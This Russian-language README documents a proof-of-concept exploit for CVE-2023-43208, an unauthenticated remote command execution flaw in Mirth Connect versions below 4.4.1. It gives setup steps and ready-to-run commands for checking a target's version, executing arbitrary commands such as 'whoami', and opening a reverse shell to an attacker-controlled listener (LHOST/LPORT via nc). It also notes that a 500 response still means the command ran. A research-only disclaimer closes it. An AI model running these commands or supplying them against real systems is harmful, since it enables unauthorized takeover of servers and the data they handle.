CVE-2023-43208 - Mirth Connect Неавторизованное удаленное выполнение команд

Требования

• Python 3.11 или выше (протестировано на 3.11, 3.12, 3.13)

Установка

# Создаем чистое виртуальное окружение
python3 -m venv .venv
source .venv/bin/activate

# Устанавливаем зафиксированные зависимости
pip install -r requirements.txt

Использование

# Только проверка версии
python3 CVE-2023-43208.py -u https://TARGET/ --check

# Выполнение одной команды
python3 CVE-2023-43208.py -u https://TARGET/ -c "whoami"

# Обратная оболочка (сначала запустите nc слушатель)
python3 CVE-2023-43208.py -u https://TARGET/ -l LHOST -p LPORT

Примечания

• Ответ 500 от сервера является нормальным и ожидаемым — команда все равно выполняется
• Затрагивает Mirth Connect версии ниже 4.4.1

Отказ от ответственности

Эта proof‑of‑concept предоставляется только для исследовательских и образовательных целей. Не используйте ее против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Автор не несет ответственности за любое неправомерное использование или ущерб, причиненный этим кодом.